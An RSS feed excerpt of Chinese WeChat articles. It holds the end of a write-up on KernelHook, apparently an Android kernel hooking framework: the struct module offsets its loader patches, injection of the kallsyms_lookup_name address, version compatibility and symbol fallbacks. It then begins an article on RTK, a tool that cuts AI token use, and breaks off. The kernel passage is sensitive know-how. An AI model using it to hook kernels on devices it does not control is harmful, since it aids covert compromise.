0.18);"><p><span leaf="">内核版本与配置标识串</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">this_module_size</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">struct module 大小</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_init_offset</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_exit_offset</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">init/exit 在结构体中的偏移</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name_addr</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">kallsyms_lookup_name 内核地址</span></p></td></tr></tbody></table><p data-line="526" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">修补完成后，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kmod_loader</span></code><span leaf=""> 通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 系统调用加载 .ko，同时将 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf=""> 地址注入模块，作为 Freestanding 模式初始化链的起点。</span></p><h2 data-line="538" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8 兼容性</span></h2><h3 data-line="540" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8.1 内核版本</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">内核</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">安卓版本</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">关键特性</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4.4</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">9 (API 28)</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">基线</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4.9</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">10 (API 29)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4.14</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">11 (API 30)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4.19</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">12 (API 31)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">5.4</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">12 (API 31)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Shadow CFI</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">5.10</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">13 (API 33)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GKI 模块限制</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">5.15</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">14 (API 34)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">6.1</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">14 (API 34)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">kCFI</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">6.6</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">15 (API 35)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">6.12</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">16 (API 36/37)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">16K 页</span></p></td></tr></tbody></table><h3 data-line="542" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8.2 符号差异</span></h3><p data-line="547" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">内核函数名在版本间可能变化。KernelHook维护回退列表：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc_noprof</span></code></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_x</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_exec</span></code></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__flush_dcache_area</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dcache_clean_inval_poc</span></code></p></li></ul><p data-line="553" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">查找时依次尝试主名称和回退名称，首个命中即采用。</span></p><h3 data-line="552" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8.3 16K页</span></h3><p data-line="557" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">安卓16设备使用16K页内核。KernelHook在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kh_pgtable_init</span></code><span leaf="">中通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TCR_EL1.TG1</span></code><span leaf="">动态检测页大小，所有页表操作基于运行时值而非编译时常量，天然兼容4K和16K。</span></p><p><span leaf="">最后，如果本文对您有帮助，欢迎点赞关注与转发，感谢您的阅读。</span></p><p><span leaf="">如果您对安卓安全相关内核模块开发感兴趣，可以关注我的<span textstyle="" style="font-weight: bold;">安卓软件开发与逆向分析</span>系列课程，第一阶段有LKM开发，第二阶段有KPM开发，第四阶段有安全对抗应用实战。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0840fbae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485111%26idx%3D1%26sn%3Df933f9d819aa2fa0d502768de65dd600">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 13 Apr 2026 20:24:00 +0800</pubDate>
    </item>
    <item>
      <title>使用这个工具你的AI可以省一半的Token</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485106&amp;idx=1&amp;sn=03017e4e54227de0bf39d95e98e65b81</link>
      <description>使用这个工具你的AI可以省一半的Token</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-11 17:37</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=daa47dba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT8azsC3SbxZhicVo3jvTicYrwiahaD5Kfxia3qt1nzaSsZuOfU5jwlFvdmNGTFibAPiaRLJ6Ejq5KUZWc9QbV99oJMHaiaN4KPQddUzbE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">使用这个工具你的AI可以省一半的Token</span></h1><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">最近用Claude Code或者Codex写代码时，我越来越觉得，真正偷偷烧钱的，不是那一两句提示词，而是命令输出。</span></p><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">你让AI跑一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git status</span></code><span leaf="">，它会把一长串改动状态、路径、提示信息全塞进上下文。你再让它跑</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cargo test</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pytest</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">docker ps</span></code><span leaf="">、一堆重复日志、通过项、样板提示、进度条又继续往里灌。项目一大，token就像漏水一样往下掉。</span></p><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">前几天偶然在GitHub上翻到一个开源工具</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">RTK</span></code><span leaf="">，全名是Rust Token Killer。它干的事不复杂，但很实用：在命令输出进入LLM上下文之前，先做一层压缩，把噪音过滤掉，把重复内容合并掉，把真正有用的结果留下来。</span></p><h2 data-line="8" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它到底能省多少</span></h2><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你只是觉得“省一点点”，那就低估它了。</span></p><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RTK官方README给的估算很直接。在一个30分钟的Claude Code会话里，常见命令的token开销大概能从约118000压到约23900，整体节省接近80％。单看常见场景，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git status</span></code><span leaf="">大约能省80％，</span><code style="font-family: Menlo, 